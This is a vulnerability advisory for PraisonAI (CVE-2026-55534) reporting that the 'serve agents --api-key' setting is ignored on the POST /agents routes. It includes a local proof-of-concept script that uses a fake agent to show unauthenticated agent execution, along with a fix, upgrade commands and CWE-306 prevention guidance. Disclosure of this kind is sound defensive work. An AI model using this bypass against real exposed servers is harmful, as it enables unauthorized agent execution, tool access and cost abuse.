GHSA-7ww9-85pg-cv4x CVE-2026-55534 PYSEC-2026-3887
PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution
- Severity
- 8.6 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.45%
- Chance of exploitation in the next 30 days. Higher than 39.35% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-306 Missing Authentication for Critical Function
- Fix
4.6.58- Upgrade praisonai to this version or later
Description
Summary
PraisonAI's praisonai serve agents command exposes --api-key as the documented
authentication control for production/external deployments, but the configured key is not
enforced on the public agent invocation compatibility endpoints.
An operator can start the server with --api-key and bind it to 0.0.0.0, but any network-
reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.
Confirmed vulnerable:
- v4.6.48 / commit
d5f1114aaf1a2e9f121a6e66b929149ca2201f1d - v4.6.34 / commit
e5928449f73f66cc8af1de61621aa974ab255133
Likely affected range: >= 4.6.34, <= 4.6.48.
This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask
api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.
Details
The CLI accepts and forwards an API key:
src/praisonai/praisonai/cli/commands/serve.py:156definespraisonai serve agentssrc/praisonai/praisonai/cli/commands/serve.py:162exposes--api-keysrc/praisonai/praisonai/cli/commands/serve.py:175-176forwards the supplied keysrc/praisonai/praisonai/cli/features/serve.py:191handles theagentssubcommandsrc/praisonai/praisonai/cli/features/serve.py:199parsesapi_keyinto the config
However, _create_agents_app() never uses config["api_key"] to create middleware or a
FastAPI auth dependency:
src/praisonai/praisonai/cli/features/serve.py:228creates the FastAPI appsrc/praisonai/praisonai/cli/features/serve.py:287registersPOST {path}with no auth dependencysrc/praisonai/praisonai/cli/features/serve.py:346registersPOST /agents/{agent_name}with no auth dependencysrc/praisonai/praisonai/cli/features/serve.py:356-370executes the registered agent directly
The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/ invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same
server. Setting --api-key does not protect the compatibility routes.
PoC
This local-only PoC does not open a network listener and does not call an LLM provider. It
constructs the FastAPI app through the real ServeHandler._create_agents_app() path with
api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI
TestClient.
#!/usr/bin/env python3
from __future__ import annotations
import sys
import tempfile
from pathlib import Path
REPO = Path("/path/to/PraisonAI")
sys.path[:0] = [
str(REPO / "src" / "praisonai"),
str(REPO / "src" / "praisonai-agents"),
]
class FakeAgent:
def __init__(self):
self.calls = []
def start(self, query):
self.calls.append(query)
return f"fake-agent-ran:{query}"
def main() -> None:
from fastapi.testclient import TestClient
from praisonai.cli.features.serve import ServeHandler
from praisonai.api import agent_invoke
with tempfile.TemporaryDirectory() as tmp:
agents_yaml = Path(tmp) / "agents.yaml"
agents_yaml.write_text(
"roles:\n"
" placeholder:\n"
" role: Placeholder\n"
" goal: Placeholder\n"
" backstory: Placeholder\n",
encoding="utf-8",
)
handler = ServeHandler()
app = handler._create_agents_app(
{
"file": str(agents_yaml),
"host": "0.0.0.0",
"port": 8000,
"path": "/agents",
"reload": False,
"api_key": "operator-secret-api-key",
}
)
fake_agent = FakeAgent()
agent_invoke.register_agent("poc", fake_agent)
client = TestClient(app)
response = client.post(
"/agents/poc",
json={"query": "unauthenticated request"},
)
print(f"STATUS_CODE={response.status_code}")
print(f"RESPONSE_JSON={response.json()!r}")
print(f"AGENT_CALLS={fake_agent.calls!r}")
print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
request']}")
if __name__ == "__main__":
main()
Run:
cd /path/to/PraisonAI
python3 praisonai-serve-agents-api-key-bypass.py
Observed output:
STATUS_CODE=200
RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'}
AGENT_CALLS=['unauthenticated request']
UNAUTHENTICATED_AGENT_EXECUTED=True
The important condition is that the app was configured with:
"api_key": "operator-secret-api-key"
but the request was sent without any auth header:
client.post("/agents/poc", json={"query": "unauthenticated request"})
The agent still executed and returned HTTP 200.
### Impact
Any attacker who can reach a praisonai serve agents server can invoke configured agents even
when the operator explicitly configured --api-key.
Impact depends on the configured agents and their tools, but can include:
- unauthorized LLM/API usage and provider cost consumption;
- execution of agent workflows;
- access to connected tool integrations;
- reads/writes through file, database, cloud, browser, MCP, or messaging tools;
- availability impact from repeated or long-running agent invocations.
This is especially risky because the documented production pattern recommends using --api-
key when binding the server publicly.
### Suggested fix
Fail closed when --api-key is configured and require it on every agent invocation route in
the serve agents app.
Recommended changes:
- In _create_agents_app(), derive an auth dependency from config.get("api_key").
- Apply it to both POST {path} and POST /agents/{agent_name}.
- Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for
compatibility.
- Use constant-time comparison for the expected key.
- Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
- Add tests proving:
- key configured + no header returns 401/403;
- key configured + wrong header returns 401/403;
- key configured + correct header executes;
- both /agents and /agents/{agent_name} are covered.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | >= 4.6.34, < 4.6.58 |
4.6.58 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.58
- pip
pip install --upgrade "praisonai>=4.6.58"- poetry
poetry add "praisonai>=4.6.58"- uv
uv add "praisonai>=4.6.58"
Severity breakdown
CVSS 3.1 8.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- Low
- Availability
- High
Weakness
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor